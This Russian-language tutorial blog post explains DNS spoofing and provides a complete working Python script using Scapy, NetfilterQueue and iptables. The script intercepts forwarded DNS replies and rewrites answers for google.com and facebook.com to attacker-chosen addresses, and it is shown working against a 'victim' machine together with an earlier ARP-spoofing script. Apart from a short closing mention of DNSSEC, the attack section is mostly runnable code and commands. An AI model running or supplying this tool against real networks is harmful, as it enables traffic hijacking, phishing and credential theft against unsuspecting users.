В предыдущей статье мы говорили про обнаружение ARP-спуфинга с помощью Python. Сегодня расскажу про DNS-спуфинг на Python используя Scapy.
Еще по теме: Использование библиотеки dnspython
Что такое DNS
Сервер системы доменных имен (DNS) переводит человекочитаемое доменное имя (например, google.com) в IP-адрес, который используется для установления соединения между сервером и клиентом. Например, если пользователь хочет подключиться к google.com, его компьютер автоматически отправит запрос на DNS-сервер, сообщая: «Я хочу получить IP-адрес google.com»:
Сервер ответит соответствующим IP-адресом этого доменного имени:
Затем пользователь подключится к серверу:
Но, что если при этой такой схеме, между пользователем и Интернетом окажется посредник (компьютер злоумышленника).
Что такое DNS-спуфинг (подделка DNS)
DNS-спуфинг — это атака, при которой злоумышленник изменяет ответы DNS для перенаправления пользователей на поддельные сайты или другие злонамеренные ресурсы. Это может быть использовано для фишинга, когда пользователи могут быть обмануты и вынуждены вводить личные данные на поддельной странице, думая, что это легитимный сайт.
Давайте посмотрим, как это работает на практике:
Теперь, так как злоумышленник находится посередине, он получит запрос DNS, указывающий «какой IP-адрес у google.com», затем он перешлет его на DNS-сервер, как показано на следующем изображении:
Злоумышленник пересылает запрос DNSDNS-сервер получает законный запрос и отвечает DNS-ответом:
Злоумышленник получает ответ DNS, который содержит реальный IP-адрес google.com и изменяет IP-адрес на вредоносный поддельный IP (в данном случае, свой веб-сервер с IP-адресом 192.168.1.100 или 192.168.1.106 и так далее):
Таким образом, когда пользователь вводит google.com в браузере, он увидит поддельную страницу злоумышленника.
Давайте посмотрим, как мы можем реализовать эту атаку с использованием Scapy на Python.
DNS-спуфинг на Python с помощью Scapy
Сначала стоит упомянуть, что мы будем использовать библиотеку NetfilterQueue, которая обеспечивает доступ к пакетам, совпавшим с правилами iptables в Linux (поэтому это будет работать только на дистрибутивах Linux).
Как вы могли догадаться, нам необходимо добавить правило iptables. Откройте терминал Linux и введите следующее:
1 |
iptables -I FORWARD -j NFQUEUE --queue-num 0 |
Это правило указывает, что каждый раз, когда пакет пересылается, его нужно перенаправить ( -j) в очередь netfilter с номером 0. Это позволит перенаправлять все пересылаемые пакеты в Python.
Теперь давайте установим необходимые зависимости:
1 |
pip3 install netfilterqueue scapy |
Импортируем необходимые модули (убедитесь, что у вас установлена библиотека Scapy):
1 2 3 |
from scapy.all import * from netfilterqueue import NetfilterQueue import os |
Определим наш словарь DNS:
1 2 3 4 5 6 7 |
# Записи маппинга DNS, не стесняйтесь добавлять/изменять этот словарь # например, google.com будет перенаправлен на 192.168.1.100 dns_hosts = { b"www.google.com.": "192.168.1.100", b"google.com.": "192.168.1.100", b"facebook.com.": "172.217.19.142" } |
Для netfilter понадобится обратный вызов, который вызывается каждый раз, когда пересылается пакет. Давайте его реализуем:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
def process_packet(packet): """Каждый раз, когда новый пакет перенаправляется в очередь netfilter, вызывается этот обратный вызов.""" # преобразуем пакет очереди netfilter в пакет Scapy scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(DNSRR): # если пакет - это DNS Resource Record (DNS-ответ) # модифицируем пакет print("[До]:", scapy_packet.summary()) try: scapy_packet = modify_packet(scapy_packet) except IndexError: # не UDP-пакет, это может быть IPerror/UDPerror пакеты pass print("[После ]:", scapy_packet.summary()) # устанавливаем модифицированный пакет в качестве пакета очереди netfilter packet.set_payload(bytes(scapy_packet)) # принимаем пакет packet.accept() |
Мы просто преобразовали пакет очереди netfilter в пакет Scapy, затем проверили, является ли он ответом DNS. Если это так, нужно модифицировать его с помощью функции modify_packet(packet), давайте определим ее:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
def modify_packet(packet): """Модифицирует DNS Resource Record `packet` (часть ответа) для маппинга нашего глобально определенного словаря `dns_hosts`. Например, при обнаружении ответа google.com эта функция заменяет реальный IP-адрес (172.217.19.142) на поддельный IP-адрес (192.168.1.100)""" # получаем имя DNS-вопроса, доменное имя qname = packet[DNSQR].qname if qname not in dns_hosts: # если веб-сайт не находится в нашей записи # не хотим его модифицировать print("без модификации:", qname) return packet # создаем новый ответ, переопределяя оригинал # устанавливаем rdata для IP, который мы хотим перенаправить (поддельный) # например, google.com будет сопоставлен с "192.168.1.100" packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) # устанавливаем количество ответов равным 1 packet[DNS].ancount = 1 # удаляем контрольные суммы и длину пакета, так как мы изменили пакет # требуются новые расчеты (scapy сделает это автоматически) del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum # возвращаем модифицированный пакет return packet |
Теперь создадим объект очереди netfilter после вставки правила iptables:
1 2 3 4 5 |
QUEUE_NUM = 0 # вставляем правило iptables FORWARD os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM)) # создаем объект очереди netfilter queue = NetfilterQueue() |
Мы должны привязать номер очереди netfilter к только что написанному обратному вызову и запустить его:
1 2 3 4 5 6 7 |
try: # привязываем номер очереди к нашему обратному вызову `process_packet` и запускаем его queue.bind(QUEUE_NUM, process_packet) queue.run() except KeyboardInterrupt: # если хотите выйти, убедитесь, что удалили правило, которое мы добавили ранее os.system("iptables --flush") |
Давайте выполним скрипт подделки ARP, который мы создали в предыдущем статье:
Запустим только что созданный нами DNS-спуфер:
1 |
python3 dns_spoof.py |
Теперь скрипт слушает ответы DNS. Перейдите на компьютер жертвы и выполните ping google.com:
IP-адрес google.com — 192.168.1.100!
Попробуем открыть Google:
Я настроил простой веб-сервер на 192.168.1.100 (локальный сервер), который возвращает эту страницу. Теперь google.com — это 192.168.1.100!
Вернемся на машину атакующего:
Вы успешно написали скрипт для подделки DNS. Если вы хотите завершить атаку, нажмите CTRL+C остановив скрипт подделки ARP и DNS.
Заключение
Атаки подделки DNS могут быть осуществлены различными способами, такими как DNS кеширование или использование «подделанных» DNS-серверов. Однако существуют методы защиты от таких атак, такие как использование DNSSEC (Domain Name System Security Extensions), который позволяет проверять подлинность и целостность DNS-записей.
Подделка DNS — это серьезная угроза для безопасности, так как она может легко обмануть пользователей и направить их на вредоносные ресурсы.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Атака трансфер DNS зоны на примере zonetransfer.me
- Атака DNS rebinding на примере CrossfitTwo Hack The Box
- Получение информации о домене с WHOIS и DNS Python